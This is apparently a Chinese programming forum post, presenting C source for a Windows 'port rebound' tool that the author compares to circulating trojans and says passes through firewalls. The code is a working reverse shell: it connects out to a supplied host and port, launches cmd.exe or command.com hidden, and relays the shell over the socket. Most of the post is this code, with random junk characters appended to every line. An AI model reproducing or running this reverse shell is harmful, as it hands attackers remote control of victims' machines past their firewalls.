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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j/9FiuK  
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/* ============================== Z i7(lG  
Rebound port in Windows NT d7Q. 'cyQ  
By wind,2006/7 Js^ADUy  
===============================*/ kf>'AbN  
#include !bH-(K{S6  
#include `Up<;  
JEY%(UR8  
#pragma comment(lib,"wsock32.lib") sF_.9G)S0  
"TtK!>!.  
void OutputShell(); Gpe h#Q4x  
SOCKET sClient; QHMXQyr(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~DqNA%Mb  
o1zc`Ibd  
void main(int argc,char **argv) K* [cJcY+  
{ _sZ/tU@_-K  
WSADATA stWsaData; F1Egcx/$V  
int nRet; t47 f$gq  
SOCKADDR_IN stSaiClient,stSaiServer; 34JkB+#a  
c)@M7UK[  
if(argc != 3) Vl^jTX5N  
{ 5I T'u3V  
printf("Useage:\n\rRebound DestIP DestPort\n"); B HZGQm  
return; s}|IRDpp  
} *i5&x/ds  
w^R5/#F_r  
WSAStartup(MAKEWORD(2,2),&stWsaData); s_`wLQ7e  
7jts;H=  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); An]*J|nFIY  
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stSaiClient.sin_family = AF_INET; pPQ]#v  
stSaiClient.sin_port = htons(0); 'O\K Wj{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9Od Kh\F (  
f=/S]o4/3  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (nBJ,v)  
{ IeN!nK-  
printf("Bind Socket Failed!\n"); ( Y/ DMQ  
return; ,iSs2&$ m  
} B TcxBh  
~&B_ Bswf  
stSaiServer.sin_family = AF_INET; j nI)n*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C6'[Tn  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #"i}wS  
-fUz$Df/R  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T'Jw\u>"R  
{ >@ H:+0h-  
printf("Connect Error!"); V7rcnk#  
return; @gxO%@@  
} V3@^bc!   
OutputShell(); i>)Whr'e8  
} D\* raQ`n  
c$uV8_V  
void OutputShell() & NOKrN~HX  
{ <YJU?G:@  
char szBuff[1024]; IHxX:a/iv  
SECURITY_ATTRIBUTES stSecurityAttributes; 9SAyU%mS:  
OSVERSIONINFO stOsversionInfo; x( mY$l,il  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [FyE{NfiJ%  
STARTUPINFO stStartupInfo; w`#lLl B  
char *szShell; >-)i_C2  
PROCESS_INFORMATION stProcessInformation; z)|56 F7'  
unsigned long lBytesRead; r T* :1  
[]LNNO],X  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *"9b?`E  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t~U:{g~  
stSecurityAttributes.lpSecurityDescriptor = 0; NO* 1km[#  
stSecurityAttributes.bInheritHandle = TRUE; >xP $A{  
Y;#P"-yH  
^{~y+1lt'  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3)Paf`mr  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); lfj>]om$  
^=R>rUCmv  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  Nu9mK  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {Lq uOC1  
stStartupInfo.wShowWindow = SW_HIDE; O^:Rm=,$  
stStartupInfo.hStdInput = hReadPipe; d(To)ly.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u1]5qtg"  
^vG*8,^S=8  
GetVersionEx(&stOsversionInfo); @9vz%1B<l  
e j!C^  
switch(stOsversionInfo.dwPlatformId) 1Ete;r%5=  
{ Pi+,y  
case 1: U4LOe}Ny  
szShell = "command.com"; aNXu"US+Sp  
break; e?Cbl'  
default: (V e[FhA  
szShell = "cmd.exe"; =BX<;vU  
break; xhqIE3gd  
} M}%0=VCY7  
6"A|)fz  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1YM04*H  
GhpH7% s  
send(sClient,szMsg,77,0); /ebYk-c  
while(1)  Xv:<sX  
{ UTs0=:+,t  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Mw+]*  
if(lBytesRead) Wgx lQXi-B  
{ ~^VcTSY@<L  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); s*]1d*B!  
send(sClient,szBuff,lBytesRead,0); H%])>  
} O'idS`   
else YtIJJH  
{ <cepRjDn  
lBytesRead=recv(sClient,szBuff,1024,0); iY*Xm,#  
if(lBytesRead<=0) break; }"xC1<]  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @p `#y  
} [ 8v)\lu  
} -4hX -  
/"/$1F%{  
return; ]@WJ&e/'@  
}
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